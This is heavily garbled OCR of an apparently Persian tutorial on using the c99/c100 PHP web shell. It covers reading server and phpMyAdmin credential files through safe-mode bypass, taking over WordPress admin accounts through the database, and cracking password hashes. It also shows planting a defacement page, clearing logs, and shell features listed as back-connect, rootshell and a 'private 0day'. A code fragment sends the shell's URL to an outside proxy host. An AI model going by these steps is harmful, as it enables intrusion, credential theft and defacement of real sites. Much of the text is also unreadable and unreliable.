uname -4 Windows NTAYDAS.4 uild 2600

SYSTEM

Sofe-modes 01 (10t e
C:\Apachel \htdocs\  drwxrwnrwx
Free 619,88 MB of 16,6 GB (3,65%)
Yourips 17001 ip"“”'
Detected drives: + ¢ [0 [0

heonRAE

(Enumerste] [Encoder] [Tools) [Proc.]

L

(FTP Brute]

Nome A

4

§

N

N

b

. |docs)

e IR

J 08

k |mages R

I [ichd OR

k languase OR

] te R

I syl 0R

d 0] R

N OR

N 058

B‘ apache o0 of LTS
)y phe Y
o WAKE
oS 1518
config.php ]

d41KE

MK

=

X000 63N
12608 f] joazous
B

I ost] [Back-Connection] (milwOrm it!) (PHP-Proxy] (Self remove]

W//

Lsking flder (32 e and 13 olers

20082002 16:0: 4
0.08.2002 16:0:4
21,06.2003 23:41:03
22,05,2003 00:00:5
20082002 16:: 4
20.08.012 16:3: 4
2,05.2003 .53
21,05.2003 23:48:30
£5,06.2003 0t:2042
25,05.200 2:47:09
£5,06.2003 0L:21:47
02,07,4996 24:18:16
07,06.2003 13:15:00

JMR




MooRweN & Black Killer

o) oz ) )

1ol doliwliss
C99 cop Sl s jgel el
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1392 ol : 0155 o)l

MR_MRN@MAILFA.ORG

Sl asliS S doye b aS Sliwgd (6 ded Ay il
e lwgd

9000 Slp S cpl las jl Linles g 408" oslial joje ol pl Gliadds b ojylee (gl ladd 395 (il I Sl s> >

)ngc;)ﬁaed;w)bydmuiil}pmbm S5 ool Syl sla colo 4 b



g g Wl dloa 51 ool 55 . a8l oo Lo Ty gm0 JolS S aUlys o5 ABly o (oS dnkad

Do o a8 b we gl 4 aS W)l Sla S s 4 G (6308 Ul

d)im 09/5wa‘ Ou\))Lu) ] 045 M}: PHP ‘_5‘).) uo9..a.>u9PHP 4)‘.:).:30.99 J.w

1S aidg jb ) 3,8l lwgs asus i )3 &5 sl o Captain Crunch Team

1- Shadow & Preddy
2- #lphysx”

2,185 Jol ases b Jlais olas a8 o0y pb s C100 a1y o) oL duse wwgs 5L 5l am g

wly o pb g 3,8 g jbbase |y o] wily o Lo o> 9 03L  OpEN SOUTCE 35 L ()l

0313 s 355 LS|

1S cuad i gla I3l e 5l (S6 L b a8 Tl ags by o ) S ol als (e ST
WinLamp -1

XAMP -2

WampServer -3
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s wwas |, Apache WebServer + MySQL + PHP ¢ YL ¢la 4ok ys 5l (SO om0
LS

Laled |l ool e g a4y g 1a] (ST 9 0isd oo Iial ailily jo (g0l jobo o php 1Y

355 ogels MalS' ]y 363 g g 5T ) o 5l sl
(htdocs) .uuS S b )gpmw oy ol diw s, 451, €99.php s

127.0.0.1 - Locus? Shell -

&8 DEmmEE L L

File Edit ‘View Favoribes Tools  Help

@ - 3 - = S - Page- Safety - Toos - (- *

Software: Apache/f2.0.50 (Win32) PHP/5.0.1.
uname -a: Windows NT AYDA 5.1 build 2600
SYSTEM

Safe-mode:

Free 633.18 MB of 16.6 GB (3.72%)
Your ip: - Server ip:
Detected drives:

h - =B Q&

Listing folder (32 files and 13 folders):

-| 00w



il 030,99 cop Sl s Lol el

o ol [y Php @ g jgpmw g Jol s

V-3
Safe-mode: ol 1y Jole v Slasuin pow g pgd b
ree 633.18 MB of 16.6 GB (3.72%) ABY 0

our ip: - Server ip:
Detected drives:

sofe mode cuxsg (g (o9els o lex Lo
b 45 398 (oo el 45 Mmoo lis |, php
A8 oolatwl 05 UK plod  wlgi

safe Cundy o 9y 31 b b ol 0y (ool 5 150 o Sas (LS 4135 o 09 Bgels

Sl asl 26135 php mode

adg oS s 13 903,85 5L %wWindir%\php.ini e » 1, php.ini L6 5 ol oy
9t
Safe Mode ;
safe_mode = Off

Sl gl 5 28l (oo Sigels 43Sl 58 Ll ysb 4 4 g |, Safe mode wily
oS oo iy hgels s a1y o o1 Lo aib asl |y 368 S8 pled o Lo Ji

5 A2 oo Ui 1y i pda + 315 15 4 55 L aS (6 e po LS
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Flo g pod o i

2 2 Jte e 1Sl o PErMISSION Caisie 45 PEIMS (¢ 4035 15 40 Ll 035 dn g5 S

drwxrwxrwx
ipj Joi b &8 Adl (oo (uSgnd Jolo plunns )3 (oo yiwd o 465 (] oy
Owner( o) Group(sy,5) World (42 3!y)
R W X R W X R W X

Read Write eXecute Read Write eXecute Read Write eXecute

S 2325 ) Vb (g pd g 51
Owner: read — write — execute
Group: read — write —execute

World: read — write — execute

Jole piums p3 93045 o (FUll CONtrol) JolS o yiwd pdaw o 45 joding Jole i y> 45

Chmode filename.ext 777 AgS o0 TTT (g yiawd o )] 4 uS 9]

o ol 1y bl S wyiwd line Jol TWX ¢ oS g i d 5131 drwxrwxrwx >

A2 o G Ty 0l (awjted Coles g 4 &S (89S cwytd (lie (09> TWX i)

rw-rw-rw(666) r-xr-xr-x(555) r--r-r--(444)


http://127.0.0.1/?act=chmod&f=.&d=C%3A%5CApache2%5Chtdocs
http://127.0.0.1/?act=chmod&f=.&d=C%3A%5CApache2%5Chtdocs
http://127.0.0.1/?act=chmod&f=.&d=C%3A%5CApache2%5Chtdocs

2 bl e & g amd o Ll 1) Wl wyted Colw g 4 aS LS ojls] e b ogw FWX
FWXFWXIWX s s o index.php or index.htm L6 b cols oy 4o

il
a4 4lS ol b adgy sl Laid 5 a3L o Airectory auls Gise d « drwXrwXrwx s
Do oo d8LS] w yiwd pdaw <yl

A2 o ol |y canl ol 5 b a8 oglyd (6 ol g oas edliiul (clab gam  Jas

Ao o ol |y pope TP 5 les TP (oamy s

a3 (o LS ) i )3 39290 (sl > (g LaS

opf g o> e sla 48> a5 il o Navigate Bar ,» ]

A « - m B & &

..))‘.) )‘)3 OT ).)

S o w8 1) b 3 3300 (sla ESu A owyied g 29d (oo S S )b gie ¢ Comd ol 4

Se o 45 info and menu bar . ;5 i S 4




MooRweN

Software: Apache/2.0.50 (Win32) PHP/5.0.1.
uname -a: Windows NT AYDA 5.1 build 2600
SYSTEM

Safe-mode:

Free 563.71 MB of 16.6 GB (3.32%)
Your ip: - Server ip:
Detected drives:

A --mB Q%

& Black_ Killer

29b o 435 File List Indexer ;5 o 4

Listing folder (3 files and 0 folders):

Size A
LINK

LINK

51B
169 B
24.88 KB

21.05.2003 23:53:33
19.06.2003 19:48:22
20.08.2012 16:32:34
20.08.2012 16:32:34
21.05.2003 23:53:33

: File List Indexer clgwe o)y

Ay o slis |y bl sb:Name

oLy ol g 29 650 s b g S b g adgy b b ST g am e Lt ) o L ojluil Size

V-5 s

ABY u"“"’ ‘) Cewl 0 gy )l%.) ‘\.ws) b J;Le 4\56)\.3 u.,).'>‘ MOdIfy

A0 o i 1y o yid pdaws ¢ A4S YU > &S jglailen :PEFrMS



Dales ) M s adgy (ol OO

@u).‘lm.) @am -1
leq‘ OLo)’ -2
s> Gloj =3

ol 00 plosl Adgy (59) 32 Sy &S 3k A s 4

b o ki |y g SleMbl b b el s

Information:

Path C:\Apache2\htdocs\language\index.htm
Size 169 B

MD5 16703867d439%efbd7c373dc2269e25a7
Perms

Create time 21/05/2003 23:39:54

Access time 19/06/2003 23:32:19

MODIFY time 20/08/2012 16:32:34

FULL HEXDUMP
POOON 3C 68 74 6D 6C 3E OA 3C 68 65 6 A 3C 74 69 74 6C 65 3E 3C 2F 74 | <html> <head> <title></t

|l 69 74 6C 65 3E 0OA 3C 6D 65 74 6 4 74 70 2D 65 71 75 69 76 3D 22 |itle> <meta http-equiv="

) 43 6F 6E 74 65 6E 74 2D 54 79 70 6F 6E 74 65 6E 74 3D 22 74 | Content-Type" content="t

) 65 78 74 2F 68 74 6D 6C 3B 20 6 S 74 3D 69 73 6F 2D 38 38 | ext/html; charset=iso-88
| 35 39 2D 31 22 3E 0A 3C 2F 68 6 A 3C 62 6F 64 79 20 62 67 |59-1"> </head> <body bg

22 23 30 | color="#FFFFFF" text="#0
74 6D 6C 3E | 00000"> </body> </html>

3

=

8 63 6F 6C 6F 72 3D 22 23 46 46 46 74 6578 74 3D
8

MY 30 30 30 30 30 22 3E OA OA 3C 2F 0A 3C 2F 6
N DA

HEXDUMP: [
Baseb64: [




MooRweN & Black Killer

295 (oo ol gio Sy o b Sl (gl 45 a2 5

Viewing file: index.htm (169 B)

Select action/file-type:

Q)88 (1) code ()]

AS odalie g 39kl = ialyg 1y Jlas 5590 BB wles e )b gke cpl b

w9y oo ACtion cwud 4 File List Indexer iz )

:Wﬁ)b [ J:LQ LS‘)'?

20.08.2012 16:32:34

L6 eledl -1
JB Sl -2
16 gLl =3

Gt 2 215 o o Sl Sp S5 L4




a1

(1) adgy « 090 adgy STL ) b
s -1

(50 ywd yuis =2

oir—3

&5—4

.03)9] ).) gbbu‘ CAJlb- }l _5

D9 0 odnel COMmMand Station iso ¢ uiS o odnlie du dxio )3 S wa pj Liso
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Enter: Select:
| Exeate C
Useful Commands Kernel Info:

Warning. Kernel may be alerted using higher levels

Php Safe-Mode Bypass (Read Files) Php Safe-Mode Bypass (List Directories):

File: |
Dir: § |
eg: fetc/passwd
eg: fetc/
Search
[&] 118 - regexp [Search i
Make Dir Make File
Go Dir Go File
& o
T w«232300 1| ncns7Shell v 1. 0a heta 1001 | b #inhwvew~ | I Generation time: 0.04 71--

S9y »2 9 4 |y Ja5 5)50 jgiwd Ceond ol

S 1y 4o B asS SIS Execute




s Jle sly

Result of execution this command:
User accounts for \\
@yd@ Administrator ASPNET

Guest HelpAssistant SUPPORT_388945a0
The command completed with one or more errors.

Exeaute | Display in text-area

13
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o oS o Jolo i (6l don Lo y& a8 0S| a ) aude @l jgion | st WleS (0 25 i5w

Dyl jeag Jele i (gl (g5 9 AL

Useful Commands
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Slgzo 1y Ll g ail asly wyiwd b bl 4y Kilg5 o i« a3l Jué ¢ sSafe mode clls 3

ol odd ad b HIS pl sly Jogatte Cuowd pl &S

Php Safe-Mode Bypass (Read Files)

File: Read File

eqg: /etc/passwd

JL.o LS‘)’.

Php Safe-Mode Bypass (Read Files)

File: /te.php| Read File
eq: fetc/passwd

Trying To Get File
Start te.php

zstyle type="text/css"> .serv { color:red; } .ans { color:green; } </style=
-Server Informations: </ p= <7 echo "<div class="serv

ho "<div class="serv'=SERVER PROTOCOL: </div="
cho $_SERVER["SERVER_PROTOCOL"]; echo "</di
class="serv'=Server Name: </div="; echo "<div class='ans'=";
$_SERVER['SERVER_MNAME']; echo $_SERVER['SERVER_MNAME' iv="; echo "<div
clase="serv'=Shell Pat iv class="ans'="; echo $=rvname; echo
$ SERVER['REQUEST_URI' i echo "<br="; echo php_uname(s) ; echo
getenv("HTTP_HOST"); echo "= echo getowd(); /* cwd (Current Working
Directory) */ echo $_SERVER["PHP_SELF"]; 7=

Fin
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D35 (oo )8 edlaiwl 3yg0 b b giine (glp ) Cuond

- regexp | Seanch

g (oo Pl ()l pome )3 by (Bl (gl b ) G

Make Dir

JL.A LS‘)’.

Make Dir

2gu5 o 0dlitwl 6y 1l K A w338y Sl ) Caomd ]
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Go Dir

Gao Dir

JL.O LS‘)':’
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Lall) netstat —an jgu olen @ly 13 45 a3 (o Gl 1) Hopw b sl @9y plos o i

S o

Result of execution this command:
Active Connections

Proto Local Address Foreign Address State
TCP  0.0.0.0:80 0.0.0.0:0

TCP 0.0.0.0:135 0.0.0.0:0

TCP  0.0.0.0:445 0.0.0.0:0

TCP 0.0.0.0:1688 0.0.0.0:0

TCP  0.0.0.0:3306 0.0.0.0:0

TCP 0.0.0.0:9050 0.0.0.0:0

netstat -an

Execute | Display in text-area

colylo g 1y ) s ab5jles Lol 5,8 1l 1) 55203 3l s oo o ENTETT i olan 3 azdl oS

] 03)5



Kernel Info:

Windows NT AYDA 5.1 build 2600]

293 89y 2 5290 yeiS pld dad &y (lg5 (oo ADL Bgels do Bl ST 08 LS pj Cuannd

eusly Lo piansd

Php Safe-Mode Bypass (List Directories):

Dir: [ List Directory eg: fetc/passwd
Trying To List Folder
eg: /etc/

F32 _bbf
F3Zus . txt
/3Zusers.png
F3D5CD5033673
FSAUTCEXEC _BAT

fApacheZ

JSCONFIG_S5¥S

/DSCHNOS33 _jpg

SDocuments and Settings
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B (5355 39b1 (el i oS 398 (oo ploul yopw 4 (bl £ p (3,5 35hT (ol ) o

DS ooyl odliwl Dyg0 yopw 4 ol b L el gl ol WSusl

Upload

BEETEEN | Upload

JASLSADJM‘ u‘.S.Lu‘ J;LQ Dl?v‘ LS‘)"M

RIWESI RV g P
kol ol s LB g & 1, index.php or index.html cla bl LT 90w o

Sty ol e g ¢ 1Bl atild dgmg wSanl b1 G i L1 b 100 oy 45 )31 g dwlid
Ly 295 d ogasn dxin S oo ,Sa &S Sle o 85w ;00 oy ub g b b g aed o oyl

il
0103 |y s 09,5 plu bawg o Ko gla colw g 13k 03 o zONE-h.com ol oy 4 31

D108 & paste dote K (29)5 a5 W0 Aadled il




S el 5 gl ol uSans) L6yl ngou

Malke File

C:\Apache2\htdocs\32indes. himl] Create

Save Reset Back

<hody bgcolor="#000" style="margin:0 0 0 0;padding:0 0 0 0;"><center=

«h2 style ="color: #{ffff;border-top:yellow 2px dashed;border-bottom: yellow 2px dashed;™=This Web Site Hacked By
<hr=<Mh2><font size="15"><b style="color:red; text-decoration:underline; "=Mr: MRN <

«h2 style ="color: #{ffff;border-top:yellow 2px dashed;border-bottom: yellow 2px dashed;"=MooRweMN Wase Here. ..

</h2=</b>< font>

D9 0p3d B b aS SIS gow (6 468D g9y 2 Y
P (o0 ) A 9 pg) (0 1) e 4 (o Y

http://127.0.0.1/32/

24
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This Web Site

Dione i & Internet

'O‘S'\*"‘ J)ls ol 0950 )l f°""‘ S

Go File
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.............. Ms)L;O)I{BLARMé‘WC\QYB

Enumerate:

o3l] bl yoyw Lot jobo 4 a5 WS o fuate gt ol ()93 s 5 jg 0 pb 4 1) Led S

Al oo (b)) 05 (5 AL S &Bly 3 g aed ei )5 4]y ST i

Encoder:
S 4S5 Sy 3 903)S g1y 355 (e ¢ (639)9 Cuomd )d &S WLy o S ()15 IS 9o
D9 (g S 1) (6,5 0 la g, 4 Lews e b uS” SIS Caleulate
1: MD5
2: crypt
3:shal
4: crc32
5: URL ENCODING
6: BASE64

7: DECIMAL TO HEX

oS obled gdm gl Cuowd o 1y an S pl (IS 0,8
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Tools :
03 (g0 b &y IS S Sy g0y (o) @ @0 pl e B 0)5 W sl an S
D) S s £100 5,8 S 55
Proc.

a8 amd o oL |y piaaw ya] Jlo 53 g yibgy (sls dwgy a5 3L o Processes s

FTP Brute:

$9) 2 99y 0 B L 9y (2 (S Bl 3ygun g b i (3,5 I 9 ()5 S8 sl b Cond ]
oS Cligiws 5 (S5l e 28l (o0 S5 pegatte § Bl cei 2] (BB esg Jelo i
Aol ced 29390 jadig )345_\;56903153;»1 D ygaus) S QJ;WLS‘)%

Sec. :

3> 4 Lo yad g 0,10 0,8 WSgid (gl el L aS sad e Cuwd W yg s Caial liwe o)Ly SleMb]

2 o opl 5l Gl cau S ol oo Jld L il e WSed sl e 435 4 Open Base Dir

)9 3oy 51> &S5 LB &S plu Ly on 5 o5 Cull qwptod yopm 59y 32 BB 2 4 (g (o0 &S
JB 8l 5l an 165 0 b 293 &S johailan g ST o M owpd ¢ ABL (0 Jolo piunn sl
S oly oy ol casl o ST €Y ] 5 Cusyd g aygd oS <SS I8l a5 S Leplus

Dygl Cuwd a1y ol ola 50 + i SB jous oy 90,8

b ol 790 oS 1l o ol Col 03,8 o3litil S gid Ol ygiawn I it 1 o g aSIT o
JB)yss 45 S oo oolazsl MS HIS VXX 51 5L Jlaas ! 4y wisly joaisg sl Jole w84



A5k e L2l BB o gg) 2 2 @l 2 gl S 9 23l (0 ASPX on

290 29 9 )8 3,8 uSGl g el g 5500 28l (sl e j2 ) WSgid ¢ Jole pin (B Lol
5 uS ey el 2 sl IS 4 gl Sod (g g dpel S b g gl 4t i
w‘oMML»AJw‘P‘ljdc‘@LthbASAfL;’LtbwLuL51)Juo9aa.‘>m3o99

SQL :
Please, fill the form:

Username Password Database
If login is null, login is o

If host is null, ho 0s
If port is null, port i (default) PORT

3306

Pl ALy (w0 yiwd j9 00 (S9) 2 S99

Sosl Cawd &3 |y YU SleMbl gy glas

2,5 o Config.inc.php Ll 5,1y 355 3 1) 598 SleMbl 4l a5 L

25b 03,55 oge |y ol Sl g pb ygpm omedl ST aS )l 51,8 phpmyadmin asg > LB oyl

bl JolS” (pw s ol 4 05 ©y90 4 Gl (o0

25
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1- http://127.0.0.1//32/c99.php?file=c:\Apache2\phpmyadmin\config.inc.php

2-../../phpmyadmin/config.inc.php

Php Safe-Mode Bypass (Read Files)

File: smyadmin/config.inc.php  Read File

eq: fetc/passwd

Fhp Safe-Mode Bypass (Read Files)

File: Read File
eqg: fetc/passwd

Trying To Get File
Start ../ ../ phpmyadmin/config.inc.php

<7?php /* $1d: config.inc.php,v 2.5.2.1 2004/02/15 01:18:52 rabus Exp & */ // vim:
expandtab sw=4 ts=4 sts=4: /** * phpMy&dmin Configuration File * * All directives
are explained in Documentation.html */ /** * Sets the php error reporting - Please
do not change this line! */ if (lisset{$old_error_reporting)) { error_reporting(E_ALL);
@ini_set('display_errors', '1'); } /** * Your phpMyadmin url * * Complete the
wvariable below with the full url 1ie *
http:/fwww.your_web.net/path_to_vour_phpMyaAdmin_directory/ * * It must contain
characters that are valid for a URL, and the path is * case sensitive on some Web
servers, for example Unix-based servers. ¥ * In most cases you can leave this
variable empty, as the correct value * will be detected automatically. However, we
recommend that you do * test to see that the auto-detection code works in your
system. A good * test is to browse a table, then edit a row and save it. There will be
* an error message if phpMy&dmin cannot auto-detect the correct value. * * If the
auto-detection code does work properly, you can set to TRUE the * $cfg
['PmasbsoluteUri_DisableWarning'] variable below. *f $cfg['Pmaibsolutelri'] =
'http:/flocalhost/phpmyadmin/'; /** * Disable the default warning about $cfg
['PmaAbsoluteUri'] not being set * You should use this if and ONLY if the
Pmasbsolutelri auto-detection * works perfectly. */ $cfg
['PmaAbsoluteUri_DisableWarning'] = FALSE; /** * Disable the default warning that
is displayed on the DB Details Structure page if ¥ any of the reguired Tables for the
relationfeatures could not be found */ $cfg['PmaMoRelation_DisableWarning'] =
FALSE; /** * The 'cookie' auth_type uses blowfish algorithm to encrypt the
password. If * at least one server configuration uses 'cookie’ auth_type, enter here a
* passphrase that will be used by blowfish. */ $cfg['blowfish_secret'] = "; /** *
Server(s) configuration *f %i = 0; /f The $cfo['Servers'] array starts with $cfg
['Servers'][1]. Do not use $cfg['Servers'][0]. /f You can disable a server config entry
by setting host to ", $i++; $cfo['Servers'][$i]['host'] = 'localhost'; /f MySQL
hostname or IP address $cfg['Servers']|[$i]['port'] = "; /f MySQL port - leave blank
for default port $cfg['Servers'][$i]['socket'] = "; /f Path to the socket - leave blank
for default socket $cfg['Servers'][$1]['connect_type'] = 'tcp’; /f How to connect to
MySCQL server ('tcp' or 'socket') $cfg['Servers'][$i]['compress'] = FALSE; ff Use
compressed protocol for the MySQL connection ff (requires PHP == 4.3.0) $cfg
['Servers'][$i]['controluser'] = "; /f MyS0QL control user settings // (this user must
have read-only $cfg['Servers'][$i]['controlpass'] = "'; ff access to the "mysglfuser” [/



http://127.0.0.1/32/c99.php?file=c:/Apache2/phpmyadmin/config.inc.php
http://127.0.0.1/32/c99.php?file=c:/Apache2/phpmyadmin/config.inc.php

S g 1) 225 S Oyl Gl g WS Gy 4 D98 0 5 (5 1) 35290 e Ao Y
1- ['host'] // o cosls pb 5,8 Ia (slp
2-['port'] // (3306 _ix 59 J5 51) J 65 ol slo e 53,5 s (sl
3-['user'] //,5, pb yjg2 035 1o sl
4- ['password'] // pb jj5 2)0ms 25 1ag sl
sl plas Jlasl IS S5 oMbl ol 39 b
iy o)l 5L 0313 i (000l 1) Ay pU ST Lol
L 5 S8 b g Ceonsd I L

: g S SIS Command Station (s 540 zyw (6 465> (59 p

Search in file-system:

Search for (file/folder name): config.inc.php
Search in (explode ";"): C:\Apache2}

Text:

- find files NOT containing the text

Search took 8.0782 secs (8446 files and 227 folders, 1073.6303 objects per second).

Listing folder (2 files and 0 folders):




MooRweN & Black Killer

5L 03l yuis 1y KaslS b pb oywed] 519 05,50 oS Navigat bar 5l wis oa oly ol )51 L

bl Mg 3150 5 ol Y g e &5 1S 95 ) 25 1) 2 &l 2 sle B ples b

MySQL 4 b ss” SIS connect (s 4y 55y p « Jasl sl p3¥Y SleMbl 3,8 1y 5l dn
g CSSI

Attention! SQL-Manager is NOT ready module! Don't reports bugs.

S0QL Manager:
MySQL 4.0.20a-nt (proto v.10) running in localhost:3306 as root@localhost (password - ™)
[ 10 110 10 10 10 1

Create new DB: View File:

[Databases (@)1

Please,
select
database

Go

A8 KIS GO (¢qy pgSelect 1) la o b 5l S e Cuow b



|
i
i
—

ottt ettt

= j

MyISAM | 2003-05-25 22:16:44 2003-05-25 22:16:44 m

MyISAM | 2003-05-25 22:18:59

[ p DB Glus 4 Y
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l

PHP-Code :
NS o) 5 12l pope oy b @l e slo &5 &5 2 (o 0jlal Lo 4
Sl
Echo $ SERVER[*HTTP USER AGENT’]:

Result of execution this PHP-code:

(; Ayda; Windows NT 5.1 KHL32; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
121022; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)

echo $§_SERVER[HTTP_USER_AGENTT;

Execute | Display in text-area v

Backdoor Host :

L 1b SIS ol lany 99,8 2wl yg e (59) 22590 S S Ol o0

Back-Connection:

D YL g anS ad o)

milwOrm it:



(sl ) woly UL ogs

PHP-Proxy :

ngl.Awl.u»b).)9J)9TL;o)9>94)‘.«.»4_9‘).\9‘)3u.u...{‘);&SaGﬁww‘mw;bugb‘)w
S oo S Lot

il

Self remove :
29 59 | S Sl JS" aBlg )3 555 (o0 )8 ool 3590 95w (59, 5 b Bl (gl Cond oyl

| Self-remove: C:\Apache2\ htdocs\32\c99.php
Are you sure?

For confirmation, enter "012": 012

5 48 Ll |y access.log & error.og la b6 s « 4ssliS s gm0 g9y 2 ST liwsd
gk glulid HKeYhis b aus solatwl  uSTy 1 lais



MooRweN & Black Killer

IS 3)lg aumlgs o Yo 9wyl 1, MYSQLs 5y j2 5 4 39T b j50m (595 il Al Lo

Sed oy 259 Jiy
25 S Connet oo 5 g3l |y 355 5)5m yje 9 LBl SQAL ¢ a5 s Hlgte |
A8 SIS 0K g9y g S Glsesl |, Word press b ye e Wy co Caow |

:auSg select |, Wp_users w5 Yl

Table wp_users (10 cols and 2 rows)

OIS 3 4] yi bo oS iy b g USEr_lOGIN (yalgS )3 a0 45 jelailon

pasedit o au;S <y, »g5elect ;) cul sais asy @admin gL L user_nicenamae



L

user_nicename
m r

user_activation_key | /-

display_name

® Insert as new row or | @ Save

Confirm

o3 009 355 3o sbael )3 e 3l dxs g oaiS )y |y 095 el g S (258 1y oyed] iesl =1

WORDPRESS

Username:

Password:

L] rRemember me

Login »

« Back to blog (LGSt youUr password?
e

o pesa |y s 3 )gu

WORDPRESS
D

Flease enter your information here. We will send
you a new password.

Username:

E-mail:

Retrieve Password »

« Back to blog  Login
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gl Jo 58 0)lg Ailei o g M B o Lo sl |y oy psi S g9l (uoal Ly 39

Pl ysS 1y Dy D95 pufiune —2

Table wp_users (10 cols and 2 rows)

Inserting row into table:

varchar
(1009

ods asuie YU )0 4S5 (60 pl S oS duas g dtigr |y 395 3y USEI_PASS yalsS

Ao 1) g dn g S Ol ]y ol

a8 0l ASd da g s ool 3 gm0 9 S S5 0 pl ygun 5 sl cole 3l (S5 -3

39 b (L gy cnl ) Ml g 1BL 03,8 e 1) 5)5ms )b dix el 3l ISl
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1- md5.rednoize.com

2- gdataonline.com

3- md5decryption.com

4- alimamed.pp.ru

5- passcracking.com

6- md5.hashcracking.com
7- hashchecker.com

8- bigtrapeze.com

9- opencrack.hashkiller.com
10- md5crack.com

11- hashchecker.de

12- md5hashcracker.appspot.com

e onle red 1 dm 5 Wl ol el gt b oy 3y9 iy S35 5l e Yl liwgd ogs

DS Cownyd cyped] i b 6393 (gl e SO leis -1
Search 4Template 404 (404.php) sl 6 theme editor cwus -2

ly G By Jlo ol S (S ol o 1) s obgixe 9 458 5L 1, Results(search.php)
D9 (o0 390 45 b ¢ A8 g
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Software: Apache/2.0.50 (Win32) PHP/5.0.1.
uname -a: Windows NT AYDA 5.1 build 2600
SYSTEM

Safe-mode:

Free 497.32 MB of 16.6 GB (2.93%)
Your ip: - Server ip:
Detected drives:

(=] [=] [=] [a] [o] [a] [a]

Listing folder (23 files and 3 folders):

LIME 19.07.2003 00:08:06
LIMK 10.08.2003 08:10:14
DIR 26.12.2005 13:

DIR 09.06.20

DIR 26.12.2005

223.9 KB 25.05.2003 22:
227.42 KB 19.07.2003 00:
i 95 B 13.02.2005 13:
index.php
14.77 KB 01.04.2003 07:12:34

7.97 KB 21.12.2005 22:05:52

1.8 KB 10.06.2005 16:15:13

o 0855 ) Cale g 08 ) 5l gl ool 955 (oo S (s (B ol S (e sl oS
LS

TS e Ll w 39) (0 3 4 b gla Cuesj den 308 o5 o5 ST Y
.M:%T.\S@wml)uz)ﬁOf,oﬂcxfdw)a9oabpls),,@|u}&ASc;wlLﬁl)lS‘ﬁ);ed
A5l o Ko oy WP-AdMIN e Jlio <l

5 51 o NS5 o Iy 5,58 ypn0] o8 18l 5,5 o BB 5 el g o



15l gal (51 yedl pums pU yuss Option-writing.php 4 1, options-writing.php

)3 3929 Sygp S5y 2 s D A4S dperd dalgss S o

[ 30 0w dtdgl (slaS 090 &y IS

M3 (o g |y b (Jad asus )3 35290 sl (Shg 5 395 ¢ ol Ll

Locus7s Modified c100 Shell s
Beta v. 1.0a - Project x2300
Written by Captain Crunch Team =
Modified by Shadow & Preddy :

(Re-Modified by #!physx” (15.2.07

— New Modifications Implemented :

Added link to Enumerate to escalate priviledges- =

Added Rootshell.c- =

87 Added Rootshell.c;auto-compiler- s

HX Execute Rootshell.c- =
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Added Mig-Log Logcleaner- =

Execute Mig-Log Logcleaner- =

(milwOrm searcher (Grabs OS and searches milwOrm-

Locus7s Style & Image- =

Added w4cki1ng Shell Backdoor Connect and Backdoor- =

Added PHP-Proxy link to hide your ass- s

Added your ip and server ip with whois capability- =

Added private Oday released by allahaka which utilizes the linux- =

sudo bash to execute a stack overflow =

:FEB. 14, 2007 RELEASE NOTES

PRIVATE RELEASE OF C100 SHELL FOR LOCUS7S MEMBERS

FAILURE TO DO SO WILL RESULT IN LOSS OF VIP s

.MEMBERS ACCESS, BAN FROM SITE, AND NO REFUND FOR VIP

:PRODUCT INFO s

C100 SHELL CREATED BY CAPTAIN CRUNCH SECURITY TEAM s

WWW.CCTEAM.RU

C100 SHELL - REVAMPED (X2300) MODIFIED BY LOCUS7S

UNDERGROUND NETWORK | WWW.LOCUS7S.COM

/EOT\ =
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(=

g o0 |y ProxXy S s

// for php proxy purposes

’

strleft(strtolower(S_SERVER["SERVER_PROTOCOL"]), "/").Ss; Sport = (S_SERVER["SERVER_PORT"] == "80") ? "" :
(":".$_SERVER["SERVER_PORT"]); return
Sprotocol."://".S_SERVER['SERVER_NAME'].Sport.5_SERVER['REQUEST_URI']; } function strleft(Ss1, $s2) { return
{ ;((substr(Ss1, 0, strpos(Ss1, $s2

function selfURL() { $s = empty(S_SERVER["HTTPS"]) ? " : (5_SERVER["HTTPS"] == "on") ? "s" : ""; Sprotocol =

;(()selfurl = base64_encode(selfURLS

;phprox="http://twofaced.org/proxy/index.php?q=".Sselfurl$
gd (oo Ayl IS plo i e 4 g

lo b polo 4 o B Gl oss sl Jd5 o 45 3,15 3939 o 4550] S 50 dwidly anils as g5 51
1ol plocl 1y SIS il (6ol Lol sl ogli

Bl oo S 4 S ol der 5 Jotune pj IS
"ext_html|" =>
"ROIGODINEWAQALMAAAAAAP///2trnM3P/FBVhrPO9I6ItoytOyhgk+Xy/WGp4sXI/i6Z4mfd/HNz"
"c//llyHSBAEAAABALAAAAAATABAAAASTEMI3qq1m6nmC/4GhbFoXJEOLCANDSOCiGKbACHI20U3P"
"KIFGIjAQODSIBWO5NAXRRMTggDgkmM7E6iipHZY KBVNQSBSikukSwWajymcupY FgIBgL/MK8KBDK"
"Bkx2BXWDfX8TDDaFDAOKBAd9fnIKHXYIBIgHBQOHcg+VCikVASWLPYgbBKurDgysnxMOs7S1sxIR"
"=ADs"

<:”ext_j pgu

ROIGODIhEAAQADMAACH5BAEAAAKALAAAAAAQABAAgWAAAP/IIBDAWICAGICAAPSAAAD/AIAAA
/"ACA

SMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARCCMOIKT0j6K3FUFbGbULwJcUhjgHgAKUQEgINEEAgGXECH"

"Ci8ALSALaXCGJIK501AGSBsIACABgjgCEWAMEXpOBBMLI/A6X5WZtPfQ2g6+0j8Vx+7b4/NZggftd"

,"==FXEAOW"
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S5 Gagal 1 ol Clgzen < amd o plodl |y ) don g dan g umd o0 ploxl IS aen PR lsgd
28 D 1y o 58 ) s gy S0 b il o )151,3.99 L 3]

(32 byl ) oS (G158 g St ¢ pygler |y (liionsl (iaslgss &8 (g3 50 Camgd 51050 b Lol




